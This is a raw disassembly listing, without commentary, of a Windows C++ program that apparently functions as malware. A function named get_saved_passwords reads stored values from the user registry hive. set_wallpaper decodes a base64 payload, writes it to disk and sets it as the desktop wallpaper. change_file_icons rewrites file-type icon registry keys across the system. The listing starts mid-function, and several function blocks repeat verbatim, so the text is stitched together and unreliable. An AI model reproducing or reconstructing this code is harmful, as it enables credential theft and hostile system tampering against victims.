140005743call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005748lea rax, [rbp+303]
14000574fmov rcx, rax
140005752call std::__new_allocator<char>::~__new_allocator()
140005757nop
140005758lea rdx, [rip+0x1022a1]
14000575fmov rax, [rbp+448]
140005766mov rcx, rax
140005769call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator+=(char const*)
14000576emov [rbp-68], 256
140005775lea rax, [rip+0x1022b4]
14000577clea rdx, [rbp+200]
140005783mov [rsp+32], rdx
140005788mov r9l, 0x20019
14000578emov r8l, 0
140005794mov rdx, rax
140005797mov rcx, 0xffffffff80000001
14000579emov rax, [rip+0x1c41f3]
1400057a5call rax
1400057a7test eax, eax
1400057a9sete al
1400057actest al, al
1400057aeje 0x140005970
1400057b4mov rax, [rbp+200]
1400057bblea rdx, [rip+0x102291]
1400057c2lea rcx, [rbp-68]
1400057c6mov [rsp+40], rcx
1400057cblea rcx, [rbp-64]
1400057cfmov [rsp+32], rcx
1400057d4mov r9l, 0
1400057damov r8l, 0
1400057e0mov rcx, rax
1400057e3mov rax, [rip+0x1c41b6]
1400057eacall rax
1400057ectest eax, eax
1400057eesete al
1400057f1test al, al
1400057f3je 0x14000588a
1400057f9lea rax, [rbp+383]
140005800mov [rbp+384], rax
140005807nop
140005808nop
140005809lea rcx, [rbp+383]
140005810lea rdx, [rbp-64]
140005814lea rax, [rbp+336]
14000581bmov r8, rcx
14000581emov rcx, rax
140005821call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005826lea rax, [rbp+304]
14000582dlea rcx, [rbp+336]
140005834lea rdx, [rip+0x102221]
14000583bmov r8, rcx
14000583emov rcx, rax
140005841call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140005846lea rdx, [rbp+304]
14000584dmov rax, [rbp+448]
140005854mov rcx, rax
140005857call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator+=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000585clea rax, [rbp+304]
140005863mov rcx, rax
140005866call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000586blea rax, [rbp+336]
140005872mov rcx, rax
140005875call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000587alea rax, [rbp+383]
140005881mov rcx, rax
140005884call std::__new_allocator<char>::~__new_allocator()
140005889nop
14000588a
14000588aloc_14000588a:
14000588amov rax, [rbp+200]
140005891mov rcx, rax
140005894mov rax, [rip+0x1c40ed]
14000589bcall rax
14000589djmp 0x140005970
1400058a2
1400058a2 48 89 c3 48 8d 85 00 01 00 00 48 89 c1 e8 H..H......H...
1400058b0 1c bc 0d 00 eb 03 48 89 c3 48 8d 85 2e 01 00 00 ......H..H......
1400058c0 48 89 c1 e8 08 85 0c 00 90 48 8d 85 d0 00 00 00 H........H......
1400058d0 48 89 c1 e8 f8 bb 0d 00 eb 03 48 89 c3 48 8d 85 H.........H..H..
1400058e0 ff 00 00 00 48 89 c1 e8 e4 84 0c 00 90 48 89 d8 ....H........H..
1400058f0 48 89 c1 e8 a8 5a 01 00 48 89 c3 48 8d 85 2f 01 H....Z..H..H../.
140005900 00 00 48 89 c1 e8 c6 84 0c 00 90 48 89 d8 48 89 ..H........H..H.
140005910 c1 e8 8a 5a 01 00 48 89 c3 48 8d 85 30 01 00 00 ...Z..H..H..0...
140005920 48 89 c1 e8 a8 bb 0d 00 eb 03 48 89 c3 48 8d 85 H.........H..H..
140005930 50 01 00 00 48 89 c1 e8 94 bb 0d 00 eb 03 48 89 P...H.........H.
140005940 c3 48 8d 85 7f 01 00 00 48 89 c1 e8 80 84 0c 00 .H......H.......
140005950 90 eb 03 48 89 c3 48 8b 85 c0 01 00 00 48 89 c1 ...H..H......H..
140005960 e8 6b bb 0d 00 48 89 d8 48 89 c1 e8 30 5a 01 00 .k...H..H...0Z..
140005970
140005970loc_140005970:
140005970nop
140005971mov rax, [rbp+448]
140005978add rsp, 552
14000597fpop rbx
140005980pop rbp
140005981ret
14000564c
14000564cget_saved_passwords[abi:cxx11]():
14000564cpush rbp
14000564dpush rbx
14000564esub rsp, 552
140005655lea rbp, [rsp+128]
14000565dmov [rbp+448], rcx
140005664lea rax, [rbp+255]
14000566bmov [rbp+408], rax
140005672nop
140005673nop
140005674lea rcx, [rbp+255]
14000567blea rdx, [rip+0x101b67]
140005682lea rax, [rbp+208]
140005689mov r8, rcx
14000568cmov rcx, rax
14000568fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005694lea rax, [rbp+302]
14000569bmov [rbp+400], rax
1400056a2nop
1400056a3nop
1400056a4lea rcx, [rbp+302]
1400056ablea rdx, [rip+0x1022a6]
1400056b2lea rax, [rbp+256]
1400056b9mov r8, rcx
1400056bcmov rcx, rax
1400056bfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400056c4lea rdx, [rbp+208]
1400056cblea rax, [rbp+256]
1400056d2mov rcx, rax
1400056d5call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400056dalea rax, [rbp+256]
1400056e1mov rcx, rax
1400056e4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400056e9lea rax, [rbp+302]
1400056f0mov rcx, rax
1400056f3call std::__new_allocator<char>::~__new_allocator()
1400056f8nop
1400056f9lea rax, [rbp+208]
140005700mov rcx, rax
140005703call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005708lea rax, [rbp+255]
14000570fmov rcx, rax
140005712call std::__new_allocator<char>::~__new_allocator()
140005717nop
140005718lea rax, [rbp+303]
14000571fmov [rbp+392], rax
140005726nop
140005727nop
140005728lea rcx, [rbp+303]
14000572flea rdx, [rip+0x10226a]
140005736mov rax, [rbp+448]
14000573dmov r8, rcx
140005740mov rcx, rax
140005743call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005748lea rax, [rbp+303]
14000574fmov rcx, rax
140005752call std::__new_allocator<char>::~__new_allocator()
140005757nop
140005758lea rdx, [rip+0x1022a1]
14000575fmov rax, [rbp+448]
140005766mov rcx, rax
140005769call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator+=(char const*)
14000576emov [rbp-68], 256
140005775lea rax, [rip+0x1022b4]
14000577clea rdx, [rbp+200]
140005783mov [rsp+32], rdx
140005788mov r9l, 0x20019
14000578emov r8l, 0
140005794mov rdx, rax
140005797mov rcx, 0xffffffff80000001
14000579emov rax, [rip+0x1c41f3]
1400057a5call rax
1400057a7test eax, eax
1400057a9sete al
1400057actest al, al
1400057aeje 0x140005970
1400057b4mov rax, [rbp+200]
1400057bblea rdx, [rip+0x102291]
1400057c2lea rcx, [rbp-68]
1400057c6mov [rsp+40], rcx
1400057cblea rcx, [rbp-64]
1400057cfmov [rsp+32], rcx
1400057d4mov r9l, 0
1400057damov r8l, 0
1400057e0mov rcx, rax
1400057e3mov rax, [rip+0x1c41b6]
1400057eacall rax
1400057ectest eax, eax
1400057eesete al
1400057f1test al, al
1400057f3je 0x14000588a
1400057f9lea rax, [rbp+383]
140005800mov [rbp+384], rax
140005807nop
140005808nop
140005809lea rcx, [rbp+383]
140005810lea rdx, [rbp-64]
140005814lea rax, [rbp+336]
14000581bmov r8, rcx
14000581emov rcx, rax
140005821call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005826lea rax, [rbp+304]
14000582dlea rcx, [rbp+336]
140005834lea rdx, [rip+0x102221]
14000583bmov r8, rcx
14000583emov rcx, rax
140005841call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140005846lea rdx, [rbp+304]
14000584dmov rax, [rbp+448]
140005854mov rcx, rax
140005857call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::operator+=(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000585clea rax, [rbp+304]
140005863mov rcx, rax
140005866call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000586blea rax, [rbp+336]
140005872mov rcx, rax
140005875call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000587alea rax, [rbp+383]
140005881mov rcx, rax
140005884call std::__new_allocator<char>::~__new_allocator()
140005889nop
14000588a
14000588aloc_14000588a:
14000588amov rax, [rbp+200]
140005891mov rcx, rax
140005894mov rax, [rip+0x1c40ed]
14000589bcall rax
14000589djmp 0x140005970
1400058a2
1400058a2 48 89 c3 48 8d 85 00 01 00 00 48 89 c1 e8 H..H......H...
1400058b0 1c bc 0d 00 eb 03 48 89 c3 48 8d 85 2e 01 00 00 ......H..H......
1400058c0 48 89 c1 e8 08 85 0c 00 90 48 8d 85 d0 00 00 00 H........H......
1400058d0 48 89 c1 e8 f8 bb 0d 00 eb 03 48 89 c3 48 8d 85 H.........H..H..
1400058e0 ff 00 00 00 48 89 c1 e8 e4 84 0c 00 90 48 89 d8 ....H........H..
1400058f0 48 89 c1 e8 a8 5a 01 00 48 89 c3 48 8d 85 2f 01 H....Z..H..H../.
140005900 00 00 48 89 c1 e8 c6 84 0c 00 90 48 89 d8 48 89 ..H........H..H.
140005910 c1 e8 8a 5a 01 00 48 89 c3 48 8d 85 30 01 00 00 ...Z..H..H..0...
140005920 48 89 c1 e8 a8 bb 0d 00 eb 03 48 89 c3 48 8d 85 H.........H..H..
140005930 50 01 00 00 48 89 c1 e8 94 bb 0d 00 eb 03 48 89 P...H.........H.
140005940 c3 48 8d 85 7f 01 00 00 48 89 c1 e8 80 84 0c 00 .H......H.......
140005950 90 eb 03 48 89 c3 48 8b 85 c0 01 00 00 48 89 c1 ...H..H......H..
140005960 e8 6b bb 0d 00 48 89 d8 48 89 c1 e8 30 5a 01 00 .k...H..H...0Z..
140005970
140005970loc_140005970:
140005970nop
140005971mov rax, [rbp+448]
140005978add rsp, 552
14000597fpop rbx
140005980pop rbp
140005981ret
14000564c
140005982
140005982set_wallpaper(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&):
140005982push rbp
140005983push rbx
140005984sub rsp, 584
14000598blea rbp, [rsp+128]
140005993mov [rbp+480], rcx
14000599amov rax, [rbp+480]
1400059a1mov rcx, rax
1400059a4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
1400059a9test al, al
1400059abjne 0x140005b2d
1400059b1lea rax, [rbp+400]
1400059b8mov rdx, [rbp+480]
1400059bfmov rcx, rax
1400059c2call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400059c7lea rax, [rbp+400]
1400059cemov rcx, rax
1400059d1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
1400059d6test al, al
1400059d8je 0x1400059e4
1400059damov ebx, 0
1400059dfjmp 0x140005ac7
1400059e4
1400059e4loc_1400059e4:
1400059e4lea rax, [rbp+439]
1400059ebmov [rbp+440], rax
1400059f2nop
1400059f3nop
1400059f4lea rcx, [rbp+439]
1400059fblea rdx, [rip+0x102076]
140005a02lea rax, [rbp+368]
140005a09mov r8, rcx
140005a0cmov rcx, rax
140005a0fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005a14lea rax, [rbp+439]
140005a1bmov rcx, rax
140005a1ecall std::__new_allocator<char>::~__new_allocator()
140005a23nop
140005a24lea rdx, [rbp+368]
140005a2blea rax, [rbp-96]
140005a2fmov r8l, 4
140005a35mov rcx, rax
140005a38call std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::_Ios_Openmode)
140005a3dlea rax, [rbp+400]
140005a44mov rcx, rax
140005a47call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::size() const
140005a4cmov rbx, rax
140005a4flea rax, [rbp+400]
140005a56mov rcx, rax
140005a59call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005a5emov rdx, rax
140005a61lea rax, [rbp-96]
140005a65mov r8, rbx
140005a68mov rcx, rax
140005a6bcall std::ostream::write(char const*, long long)
140005a70lea rax, [rbp-96]
140005a74mov rcx, rax
140005a77call std::basic_ofstream<char, std::char_traits<char>>::close()
140005a7clea rax, [rbp+368]
140005a83mov rcx, rax
140005a86call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005a8bmov r9l, 3
140005a91mov r8, rax
140005a94mov edx, 0
140005a99mov ecx, 20
140005a9emov rax, [rip+0x1c46db]
140005aa5call rax
140005aa7lea rax, [rbp-96]
140005aabmov rcx, rax
140005aaecall std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
140005ab3lea rax, [rbp+368]
140005abamov rcx, rax
140005abdcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005ac2mov ebx, 1
140005ac7
140005ac7loc_140005ac7:
140005ac7lea rax, [rbp+400]
140005acemov rcx, rax
140005ad1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005ad6cmp ebx, 1
140005ad9jmp 0x140005b2e
140005adb
140005adb 48 89 c3 48 8d H..H.
140005ae0 85 b7 01 00 00 48 89 c1 e8 e3 82 0c 00 90 eb 23 .....H.........#
140005af0 48 89 c3 48 8d 45 a0 48 89 c1 e8 a1 60 0c 00 eb H..H.E.H....`...
140005b00 03 48 89 c3 48 8d 85 70 01 00 00 48 89 c1 e8 bd .H..H..p...H....
140005b10 b9 0d 00 48 8d 85 90 01 00 00 48 89 c1 e8 ae b9 ...H......H.....
140005b20 0d 00 48 89 d8 48 89 c1 e8 73 58 01 00 ..H..H...sX..
140005b2d
140005b2dloc_140005b2d:
140005b2dnop
140005b2e
140005b2eloc_140005b2e:
140005b2eadd rsp, 584
140005b35pop rbx
140005b36pop rbp
140005b37ret
140005982
140005982set_wallpaper(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&):
140005982push rbp
140005983push rbx
140005984sub rsp, 584
14000598blea rbp, [rsp+128]
140005993mov [rbp+480], rcx
14000599amov rax, [rbp+480]
1400059a1mov rcx, rax
1400059a4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
1400059a9test al, al
1400059abjne 0x140005b2d
1400059b1lea rax, [rbp+400]
1400059b8mov rdx, [rbp+480]
1400059bfmov rcx, rax
1400059c2call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400059c7lea rax, [rbp+400]
1400059cemov rcx, rax
1400059d1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
1400059d6test al, al
1400059d8je 0x1400059e4
1400059damov ebx, 0
1400059dfjmp 0x140005ac7
1400059e4
1400059e4loc_1400059e4:
1400059e4lea rax, [rbp+439]
1400059ebmov [rbp+440], rax
1400059f2nop
1400059f3nop
1400059f4lea rcx, [rbp+439]
1400059fblea rdx, [rip+0x102076]
140005a02lea rax, [rbp+368]
140005a09mov r8, rcx
140005a0cmov rcx, rax
140005a0fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005a14lea rax, [rbp+439]
140005a1bmov rcx, rax
140005a1ecall std::__new_allocator<char>::~__new_allocator()
140005a23nop
140005a24lea rdx, [rbp+368]
140005a2blea rax, [rbp-96]
140005a2fmov r8l, 4
140005a35mov rcx, rax
140005a38call std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::_Ios_Openmode)
140005a3dlea rax, [rbp+400]
140005a44mov rcx, rax
140005a47call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::size() const
140005a4cmov rbx, rax
140005a4flea rax, [rbp+400]
140005a56mov rcx, rax
140005a59call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005a5emov rdx, rax
140005a61lea rax, [rbp-96]
140005a65mov r8, rbx
140005a68mov rcx, rax
140005a6bcall std::ostream::write(char const*, long long)
140005a70lea rax, [rbp-96]
140005a74mov rcx, rax
140005a77call std::basic_ofstream<char, std::char_traits<char>>::close()
140005a7clea rax, [rbp+368]
140005a83mov rcx, rax
140005a86call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005a8bmov r9l, 3
140005a91mov r8, rax
140005a94mov edx, 0
140005a99mov ecx, 20
140005a9emov rax, [rip+0x1c46db]
140005aa5call rax
140005aa7lea rax, [rbp-96]
140005aabmov rcx, rax
140005aaecall std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
140005ab3lea rax, [rbp+368]
140005abamov rcx, rax
140005abdcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005ac2mov ebx, 1
140005ac7
140005ac7loc_140005ac7:
140005ac7lea rax, [rbp+400]
140005acemov rcx, rax
140005ad1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005ad6cmp ebx, 1
140005ad9jmp 0x140005b2e
140005adb
140005adb 48 89 c3 48 8d H..H.
140005ae0 85 b7 01 00 00 48 89 c1 e8 e3 82 0c 00 90 eb 23 .....H.........#
140005af0 48 89 c3 48 8d 45 a0 48 89 c1 e8 a1 60 0c 00 eb H..H.E.H....`...
140005b00 03 48 89 c3 48 8d 85 70 01 00 00 48 89 c1 e8 bd .H..H..p...H....
140005b10 b9 0d 00 48 8d 85 90 01 00 00 48 89 c1 e8 ae b9 ...H......H.....
140005b20 0d 00 48 89 d8 48 89 c1 e8 73 58 01 00 ..H..H...sX..
140005b2d
140005b2dloc_140005b2d:
140005b2dnop
140005b2e
140005b2eloc_140005b2e:
140005b2eadd rsp, 584
140005b35pop rbx
140005b36pop rbp
140005b37ret
140005982
140005b38
140005b38change_file_icons(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&):
140005b38push rbp
140005b39push rdi
140005b3apush rsi
140005b3bpush rbx
140005b3csub rsp, 1240
140005b43lea rbp, [rsp+128]
140005b4bmov [rbp+1152], rcx
140005b52mov rax, [rbp+1152]
140005b59mov rcx, rax
140005b5ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
140005b61test al, al
140005b63jne 0x140006083
140005b69lea rax, [rbp+784]
140005b70mov rdx, [rbp+1152]
140005b77mov rcx, rax
140005b7acall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140005b7flea rax, [rbp+784]
140005b86mov rcx, rax
140005b89call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
140005b8etest al, al
140005b90je 0x140005b9c
140005b92mov ebx, 0
140005b97jmp 0x140005f4d
140005b9c
140005b9cloc_140005b9c:
140005b9clea rax, [rbp+831]
140005ba3mov [rbp+1088], rax
140005baanop
140005babnop
140005baclea rcx, [rbp+831]
140005bb3lea rdx, [rip+0x101ee0]
140005bbalea rax, [rbp+752]
140005bc1mov r8, rcx
140005bc4mov rcx, rax
140005bc7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005bcclea rax, [rbp+831]
140005bd3mov rcx, rax
140005bd6call std::__new_allocator<char>::~__new_allocator()
140005bdbnop
140005bdclea rdx, [rbp+752]
140005be3lea rax, [rbp+288]
140005beamov r8l, 4
140005bf0mov rcx, rax
140005bf3call std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::_Ios_Openmode)
140005bf8lea rax, [rbp+784]
140005bffmov rcx, rax
140005c02call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::size() const
140005c07mov rbx, rax
140005c0alea rax, [rbp+784]
140005c11mov rcx, rax
140005c14call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005c19mov rdx, rax
140005c1clea rax, [rbp+288]
140005c23mov r8, rbx
140005c26mov rcx, rax
140005c29call std::ostream::write(char const*, long long)
140005c2elea rax, [rbp+288]
140005c35mov rcx, rax
140005c38call std::basic_ofstream<char, std::char_traits<char>>::close()
140005c3dmov rax, rbp
140005c40lea rdx, [rip+0xfe3b9]
140005c47mov ecx, 35
140005c4cmov rdi, rax
140005c4fmov rsi, rdx
140005c52rep movsq [rdi], [rsi]
140005c55mov [rbp+1100], 0
140005c5fjmp 0x140005e41
140005c64
140005c64loc_140005c64:
140005c64lea rax, [rbp+879]
140005c6bmov [rbp+1080], rax
140005c72nop
140005c73nop
140005c74mov eax, [rbp+1100]
140005c7acdqe
140005c7cmov rdx, [rbp+8*rax]
140005c81lea rcx, [rbp+879]
140005c88lea rax, [rbp+832]
140005c8fmov r8, rcx
140005c92mov rcx, rax
140005c95call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005c9alea rax, [rbp-48]
140005c9elea rcx, [rip+0x101e12]
140005ca5lea rdx, [rbp+832]
140005cacmov r8, rcx
140005cafmov rcx, rax
140005cb2call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140005cb7lea rax, [rbp+832]
140005cbemov rcx, rax
140005cc1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005cc6lea rax, [rbp+879]
140005ccdmov rcx, rax
140005cd0call std::__new_allocator<char>::~__new_allocator()
140005cd5nop
140005cd6lea rax, [rbp-48]
140005cdamov rcx, rax
140005cddcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005ce2mov rdx, rax
140005ce5mov [rsp+64], 0
140005ceelea rax, [rbp-8]
140005cf2mov [rsp+56], rax
140005cf7mov [rsp+48], 0
140005d00mov [rsp+40], 0x20006
140005d08mov [rsp+32], 0
140005d10mov r9l, 0
140005d16mov r8l, 0
140005d1cmov rcx, 0xffffffff80000000
140005d23mov rax, [rip+0x1c3c66]
140005d2acall rax
140005d2ctest eax, eax
140005d2esete al
140005d31test al, al
140005d33je 0x140005d9d
140005d35lea rax, [rbp+752]
140005d3cmov rcx, rax
140005d3fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::length() const
140005d44lea ebx, [rax+1]
140005d47lea rax, [rbp+752]
140005d4emov rcx, rax
140005d51call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005d56mov rdx, rax
140005d59mov rax, [rbp-8]
140005d5dlea rcx, [rip+0x101795]
140005d64mov [rsp+40], ebx
140005d68mov [rsp+32], rdx
140005d6dmov r9l, 1
140005d73mov r8l, 0
140005d79mov rdx, rcx
140005d7cmov rcx, rax
140005d7fmov rax, [rip+0x1c3c22]
140005d86call rax
140005d88mov rax, [rbp-8]
140005d8cmov rcx, rax
140005d8fmov rax, [rip+0x1c3bf2]
140005d96call rax
140005d98jmp 0x140005e2e
140005d9d
140005d9dloc_140005d9d:
140005d9dlea rax, [rbp+927]
140005da4mov [rbp+1072], rax
140005dabnop
140005dacnop
140005dadlea rcx, [rbp+927]
140005db4lea rdx, [rip+0x101b13]
140005dbblea rax, [rbp+880]
140005dc2mov r8, rcx
140005dc5mov rcx, rax
140005dc8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005dcdlea rax, [rbp+928]
140005dd4lea rcx, [rbp-48]
140005dd8lea rdx, [rip+0x101ce9]
140005ddfmov r8, rcx
140005de2mov rcx, rax
140005de5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140005dealea rdx, [rbp+880]
140005df1lea rax, [rbp+928]
140005df8mov rcx, rax
140005dfbcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140005e00lea rax, [rbp+928]
140005e07mov rcx, rax
140005e0acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005e0flea rax, [rbp+880]
140005e16mov rcx, rax
140005e19call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005e1elea rax, [rbp+927]
140005e25mov rcx, rax
140005e28call std::__new_allocator<char>::~__new_allocator()
140005e2dnop
140005e2e
140005e2eloc_140005e2e:
140005e2elea rax, [rbp-48]
140005e32mov rcx, rax
140005e35call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005e3aadd [rbp+1100], 1
140005e41
140005e41loc_140005e41:
140005e41mov eax, [rbp+1100]
140005e47cdqe
140005e49mov rax, [rbp+8*rax]
140005e4etest rax, rax
140005e51jne 0x140005c64
140005e57mov r9l, 0
140005e5dmov r8l, 0
140005e63mov edx, 0
140005e68mov ecx, 0x8000000
140005e6dmov rax, [rip+0x1c42cc]
140005e74call rax
140005e76lea rax, [rbp+1007]
140005e7dmov [rbp+1064], rax
140005e84nop
140005e85nop
140005e86lea rcx, [rbp+1007]
140005e8dlea rdx, [rip+0x101355]
140005e94lea rax, [rbp+960]
140005e9bmov r8, rcx
140005e9emov rcx, rax
140005ea1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005ea6lea rax, [rbp+1055]
140005eadmov [rbp+1056], rax
140005eb4nop
140005eb5nop
140005eb6lea rcx, [rbp+1055]
140005ebdlea rdx, [rip+0x101c3c]
140005ec4lea rax, [rbp+1008]
140005ecbmov r8, rcx
140005ecemov rcx, rax
140005ed1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005ed6lea rdx, [rbp+960]
140005eddlea rax, [rbp+1008]
140005ee4mov rcx, rax
140005ee7call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140005eeclea rax, [rbp+1008]
140005ef3mov rcx, rax
140005ef6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005efblea rax, [rbp+1055]
140005f02mov rcx, rax
140005f05call std::__new_allocator<char>::~__new_allocator()
140005f0anop
140005f0blea rax, [rbp+960]
140005f12mov rcx, rax
140005f15call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005f1alea rax, [rbp+1007]
140005f21mov rcx, rax
140005f24call std::__new_allocator<char>::~__new_allocator()
140005f29nop
140005f2alea rax, [rbp+288]
140005f31mov rcx, rax
140005f34call std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
140005f39lea rax, [rbp+752]
140005f40mov rcx, rax
140005f43call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005f48mov ebx, 1
140005f4d
140005f4dloc_140005f4d:
140005f4dlea rax, [rbp+784]
140005f54mov rcx, rax
140005f57call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005f5ccmp ebx, 1
140005f5fjmp 0x140006084
140005f64
140005f64 48 89 c3 48 8d 85 3f 03 00 00 48 89 H..H..?...H.
140005f70 c1 e8 5a 7e 0c 00 90 e9 ed 00 00 00 48 89 c3 48 ..Z~........H..H
140005f80 8d 85 40 03 00 00 48 89 c1 e8 42 b5 0d 00 eb 03 ..@...H...B.....
140005f90 48 89 c3 48 8d 85 6f 03 00 00 48 89 c1 e8 2e 7e H..H..o...H....~
140005fa0 0c 00 90 e9 9e 00 00 00 48 89 c3 48 8d 85 a0 03 ........H..H....
140005fb0 00 00 48 89 c1 e8 16 b5 0d 00 eb 03 48 89 c3 48 ..H.........H..H
140005fc0 8d 85 70 03 00 00 48 89 c1 e8 02 b5 0d 00 eb 03 ..p...H.........
140005fd0 48 89 c3 48 8d 85 9f 03 00 00 48 89 c1 e8 ee 7d H..H......H....}
140005fe0 0c 00 90 eb 03 48 89 c3 48 8d 45 d0 48 89 c1 e8 .....H..H.E.H...
140005ff0 dc b4 0d 00 eb 50 48 89 c3 48 8d 85 f0 03 00 00 .....PH..H......
140006000 48 89 c1 e8 c8 b4 0d 00 eb 03 48 89 c3 48 8d 85 H.........H..H..
140006010 1f 04 00 00 48 89 c1 e8 b4 7d 0c 00 90 48 8d 85 ....H....}...H..
140006020 c0 03 00 00 48 89 c1 e8 a4 b4 0d 00 eb 03 48 89 ....H.........H.
140006030 c3 48 8d 85 ef 03 00 00 48 89 c1 e8 90 7d 0c 00 .H......H....}..
140006040 90 eb 03 48 89 c3 48 8d 85 20 01 00 00 48 89 c1 ...H..H.. ...H..
140006050 e8 4b 5b 0c 00 eb 03 48 89 c3 48 8d 85 f0 02 00 .K[....H..H.....
